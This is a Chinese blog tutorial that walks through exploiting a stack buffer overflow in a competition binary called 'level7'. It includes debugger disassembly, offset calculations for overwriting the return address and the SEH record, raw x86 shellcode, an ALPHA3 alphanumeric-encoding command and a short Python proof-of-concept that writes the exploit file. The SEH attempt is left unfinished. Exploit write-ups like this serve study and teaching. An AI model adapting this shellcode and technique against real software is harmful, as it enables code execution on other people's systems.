文章来自:Tracy'Blog——【
栈溢出攻击原理实例详解】
去年,师弟给了个他比赛的题目给我,说要我试试,一直没去弄。这不又开学了,正愁着连ESP定律都快忘干净了,又把它拿出来了,就当练练手,就当加深一下印象吧~做完之后,发现,这是一个典型的栈溢出利用。那就当教程来写了~
直接双击,程序一闪而过,什么都没看到。于是,命令行下运行,看到了返回结果Illegal Arguments(非法参数)。习惯性的peid查壳,发现没加壳。拖到C32Asm看看有哪些字符串,同时OD加载,IDA分析。
直接单步到程序处:
CPU Disasm
Address Hex dump Command Comments
004010B0 /$ 837C24 04 CMP DWORD PTR SS:[Arg1],2 ; level7.004010B0(guessed Arg1,Arg2,Arg3)
004010B5 |. 7D 13 JGE SHORT level7.004010CA
004010B7 |. 68 B480400 PUSH OFFSET level7.004080B4 ; ASCII "Illegal Arguments",LF
004010BC |. E8 D001000 CALL level7.00401291
004010C1 |. 83C4 04 ADD ESP,4
004010C4 |. B8 0100000 MOV EAX,1
004010C9 |. C3 RETN
004010CA |> 56 PUSH ESI
004010CB |. 57 PUSH EDI
004010CC |. 68 B080400 PUSH OFFSET level7.004080B0 ; ASCII "wb+"
004010D1 |. 68 4080400 PUSH OFFSET level7.00408040 ; ASCII "level7"
004010D6 |. E8 A301000 CALL level7.0040127E ; 打开文件
004010DB |. 8BF0 MOV ESI,EAX
004010DD |. 8B4424 18 MOV EAX,DWORD PTR SS:[Arg2]
004010E1 |. 56 PUSH ESI
004010E2 |. 8B48 04 MOV ECX,DWORD PTR DS:[EAX+4]
004010E5 |. 51 PUSH ECX
004010E6 |. E8 3C04000 CALL level7.00401527 ; fputs
004010EB |. 56 PUSH ESI ; /Arg1
004010EC |. E8 2903000 CALL level7.0040141A ; \level7.0040141A, fflush
004010F1 |. 56 PUSH ESI
004010F2 |. E8 CB01000 CALL level7.004012C2 ; ftell 返回文件长度
004010F7 |. 56 PUSH ESI ; /Arg1
004010F8 |. 8BF8 MOV EDI,EAX ; |
004010FA |. E8 2100000 CALL level7.00401120 ; \level7.00401120, fclose
004010FF |. 68 8480400 PUSH OFFSET level7.00408084 ; ASCII "Write argv[1] to level7, level7 is a file!",LF
00401104 |. E8 8801000 CALL level7.00401291
00401109 |. 57 PUSH EDI
0040110A |. E8 F1FEFFF CALL level7.00401000 ; 读文件
0040110F |. 83C4 24 ADD ESP,24
00401112 |. 33C0 XOR EAX,EAX
00401114 |. 5F POP EDI
00401115 |. 5E POP ESI
00401116 \. C3 RETN
并不长,通过IDA的静态分析,大概也能知道哪些call的大致功能。
命令行下输入
level7.exe 123456798
返回:
Write argv[1] to level7, level7 is a file!
Read from level7
File's size too small, not read
提示文件大小太小,然而文件中的数据却是我们刚才输入的参数,那么多输入点会怎样呢?从C32asm中其实可以看到字符串Read level7 ok!的字样在0x00401091处,直接跟随到那地址,来看看。
CPU Disasm
Address Hex dump Command Comments
00401021 |. E8 6B02000 CALL level7.00401291
00401026 |. 8BBC24 0C0 MOV EDI,DWORD PTR SS:[ARG.1]
0040102D |. 83C4 04 ADD ESP,4
00401030 |. 83FF FF CMP EDI,-1
00401033 |. 75 17 JNE SHORT level7.0040104C
00401035 |. 68 4C80400 PUSH OFFSET level7.0040804C ; ASCII "File's size too small, not read",LF
0040103A |. E8 5202000 CALL level7.00401291
0040103F |. 83C4 04 ADD ESP,4
00401042 |. 33C0 XOR EAX,EAX
00401044 |. 5F POP EDI
00401045 |. 81C4 00010 ADD ESP,100
0040104B |. C3 RETN
0040104C |> 81FF C8000 CMP EDI,0C8
00401052 |. 7F 17 JG SHORT level7.0040106B
00401054 |. 68 4C80400 PUSH OFFSET level7.0040804C ; ASCII "File's size too small, not read",LF
00401059 |. E8 3302000 CALL level7.00401291
0040105E |. 83C4 04 ADD ESP,4
00401061 |. 33C0 XOR EAX,EAX
00401063 |. 5F POP EDI
00401064 |. 81C4 00010 ADD ESP,100
0040106A |. C3 RETN
0040106B |> 56 PUSH ESI
0040106C |. 68 4880400 PUSH OFFSET level7.00408048 ; ASCII "rb"
00401071 |. 68 4080400 PUSH OFFSET level7.00408040 ; ASCII "level7"
00401076 |. E8 0302000 CALL level7.0040127E ; fopen
0040107B |. 8BF0 MOV ESI,EAX
0040107D |. 8D4424 10 LEA EAX,[LOCAL.63]
00401081 |. 56 PUSH ESI
00401082 |. 57 PUSH EDI
00401083 |. 6A 01 PUSH 1
00401085 |. 50 PUSH EAX
00401086 |. E8 EB00000 CALL level7.00401176 ; fread 此处异常
0040108B |. 56 PUSH ESI ; /Arg1
0040108C |. E8 8F00000 CALL level7.00401120 ; \level7.00401120
00401091 |. 68 3080400 PUSH OFFSET level7.00408030 ; ASCII "Read level7 ok",LF
00401096 |. E8 F601000 CALL level7.00401291
0040109B |. 83C4 20 ADD ESP,20
0040109E |. 8D4424 08 LEA EAX,[LOCAL.63]
004010A2 |. 5E POP ESI
004010A3 |. 5F POP EDI
004010A4 |. 81C4 00010 ADD ESP,100
004010AA \. C3 RETN
直接找条件跳转处,0x00401033,0x00401052,目测edi中存放的是生成的level7文件的长度。当长度小于C8时,提示文件太小。
00401076处打开文件,00401086处为fread读取文件内容了。
既然是exploit的题目,那必定有溢出啊,我们来看看在哪。输入一个超长的字符串作为level7的输入参数。结果:
我们在00401086处下断点,在od中带参数调试,参数就用刚才那个数据。F9运行,程序停在了
00401B40 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 异常
我们在这个地址下断点,然后F9再次运行,让它在读取文件环节第一次执行这条指令的时候断下来。
发现这条指令是将003A3E94处的读取出来的内容复制到堆栈中。
1、我们在堆栈窗口往下翻,会发现:
0018FF1C处为某个call的返回地址,数一下 前面还有两个return,就可以知道,这个返回地址是最外面的call的。
2、再往后翻
看到SEH了。
所以利用方法为有两个:
1、覆盖返回地址: 先构造一个数据把返回地址覆盖了~
0x18FF1F-0x18FE1C+0x1=0x104
换做十进制就是260,也就是只要长度为260了,就可以实现跳转。而且最后四位就是要跳转的地址~
我们用下面的内容作为输入参数:
01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
这里就是覆盖call返回地址的就是36373839了。
再F8,报错如下:
2、覆盖SEH: 再来一次,0x18FF7F-0x18FE1C+1=164,十进制是356,但是这里需要注意的是,怎么来触发异常?
我们继续往后翻:
堆栈空间最大值为0018FFFF,如果我们的数据大于0018FFFF-0x18FE1C+1时,就在堆栈中放不下,就会写入00190000,再来看看00190000是否可写。
只可读,也就是说,如果填充的字符过多,那就会出发异常,就会去执行seh。
我们来试试需要填充的字符数是0x18FFFF-0x18FE1C+1=1E4,十进制是484
生成这么一个数据段:
0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901aaaa567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678
这是500个字符。在353-356应该是seh,我用的是aaaa来填充。
之后写入异常,我们Shift+F9忽略异常,报错:
所以,结论是这两个地方都可以用来放shellcode的跳转地址。
后面要做的就是,如何找个地方放shellcode。
限制条件是哪些呢?shellcode的长度以及地址如何处理~
按照第一种方法来跳转的话,有260-4=256个字符。足够放一个shellcode了。
可偏偏问题也来了。数据是我们手动输入进去的,可shellcode里面难免会有手动输入不了的字符。怎么解决呢?比较拙劣的解决办法是,根据程序运行原理,在接受输入参数后,先写入了文件,关闭保存文件后,再打开文件读取出来,在读取的时候反生异常触发执行shellcode。
那,我提出的拙劣的测试办法为:在程序第二次打开文件的时候断下来,手动构造好的把shellcode写到文件里,让它读取。我们来试试看~
用覆盖返回地址构造,将返回地址修改为0018FE1C,如下:
之后,运行,提示异常~Shift+F9忽略,成功执行shellcode。
所以,成功利用。
再试试seh来跳转,要使用seh,是不是也得找个p/p/r呢?先看看有没safeseh保护:
发现,并没有保护~
需要注意的是,这里可不能直接跳到0018FE1C哈,还是先来说下seh利用的方法吧~
现在的seh如图:
一般情况下,是先触发异常,使程序执行到seh所指的位置(图中为61616161,而一般情况下为p/p/r的地址),运行完ppr中的retn后返回到seh next的地址,而我们 一般在seh next的地址上放有一个跳转或其他无效的指令,使其正常跳转到我们shellcode处。
接下来找一个可用的p/p/r地址,同时也方便后面顺利使用的地址如下:00403644
seh next为:04EB9090(解释成汇编就是 nop nop jmp 当前地址+04)
之后,0018FF80开始则为shellcode填充位置。可用空间有128字节
构造如下:
再次按照原方法运行,Shift+F9运行,结果如下:
也就是说,看起来这两种方法都可以利用。
可这毕竟还只是拙劣的方法,那,怎么去更好的利用而不是断下来换文件呢?
最大的限制条件就是所有的参数都必须是手动输入~
先来考虑地址处理的问题吧,覆盖直接返回地址中的地址,0018FE1C显然不能手动输入,那怎么办呢?我们执行的时候会发现,运行到异常处时,EAX刚好指向shellcode起始地址,那么,在程序中找一个类似jmp eax或者是call eax,更或者是push eax ret,之类的指令。
用!pvefindaddr j -r EAX ,我们得到了一个刚好能够用得上的地址0x00405C77。或许你会说00不能输入,可是,我来看看造成异常的这条指令:
00401B40 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 异常
MOVS操作的是DWORD(双字),也就是四字节。每次复制4字节~当我们最后只输入三个字节的时候,应该会保留原先的00而覆盖掉后面的地址。
来试试:
发现是可以实现的。
然后要考虑的问题就是shellcode转成数字字母型的了,首先想到的就是skylined的alpha系列。这里用的是alpha3。
python ALPHA3.py x86 ascii mixedcase EAX --input=1.bin
因为EAX是指向shellcode的,所以这里的基地址就选EAX,我的shellcode如下:
unsigned char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x61\x63"
"\x6B\x01\x68\x63\x79\x43\x72\x68\x20\x54\x72\x61\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
得到的数字字母shellcode如下:
hffffk4diFkTpj02Tpk0T0AuEE0t3r3V132v4x0D4z0a7n3m0f0d5K167l3a0B0A5L1L4s2s7l0U0E4V5L4L020N2k3w0d2y015p5K7k2u0M3f1M3I3h163L064j0u3D2n130U2B0T093V8M0N2Z0u061k7O0F5n5K7N2v0x3g0W5N1l0Z3P0M0w034r5K015l4Z004J1k2H0P13001n0P050s0D1l0J0d170R8M3C4P0x08114U0c2r8O4C00
下面就是连接我们的地址等,最终POC为:
#exploit.py
shellcode="hffffk4diFkTpj02Tpk0T0AuEE0t3r3V132v4x0D4z0a7n3m0f0d5K167l3a0B0A5L1L4s2s7l0U0E4V5L4L020N2k3w0d2y015p5K7k2u0M3f1M3I3h163L064j0u3D2n130U2B0T093V8M0N2Z0u061k7O0F5n5K7N2v0x3g0W5N1l0Z3P0M0w034r5K015l4Z004J1k2H0P13001n0P050s0D1l0J0d170R8M3C4P0x08114U0c2r8O4C00"
junk="AA"
control="w\@"
bin= open('exploit.txt', 'wb+')
bin.write(shellcode)
bin.write(junk)
bin.write(control)
bin.close()
我们来测试下:
成功溢出。
好,下面用第二种方法,利用SEH跳转到shellcode。似乎比刚才难了点~
348-351处为nseh的地址,352-355为seh的地址。会发现,这次seh的地址中的00是真的不好处理了。那,能不能用系统的dll来实现ppr呢?
在系统领空翻啊翻,总算找到了一处:
刚好可以手动输入:v\*=
seh搞定了,那nesh呢?要可输入的,需要注意的是还得实现跳转!所以不能像刚才那样9090EB04了。看看有什么单字节指令吧~
想了想决定用dec ecx dec ecx jb 原地址+21,而且,它不能再是+04了,因为04你输入不了,那最小就是0x21,十进制就是33,那么可用空间就变成了128-33=95字节了,即21724949,而我们加密后的shellcode有254个字节~明显放不下了。怎么办呢?
完了等我回过头来再看的时候:
发现了应用SEH的以下几个限制条件:
• SHE handler必须指向non-SafeSEH module
• 内存页必须可执行
• SHE链表不应被篡改,并且位于链表末端的SHE结构必须为特定值(next SHE指针值为0xFFFFFFFF,SHE handler也必须为一特定值)
• 所有的SHE结构必须为4-byte对齐
• 最后一个SHE结构的handler必须正确指向ntdll中的ntdll!FinalExceptionHandler例程
• 所有SHE指针必须指向栈中
也就是说,从我选择去系统领空翻一翻的时候,我就已经错了~也不想去改SAFESEH的状态了。
行吧,这文就写到这里了。最终SEH的利用没能成功,虽然没能成功利用SEH实现跳转,但是呢,至少原理都过了一遍了,打算明天把去年写的一篇利用SEH的文发上来补充一下~
exe文件和html文件见附件~——Tracy_梓朋
2014/02/25
最后,感谢ShioN、半斤八两~
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。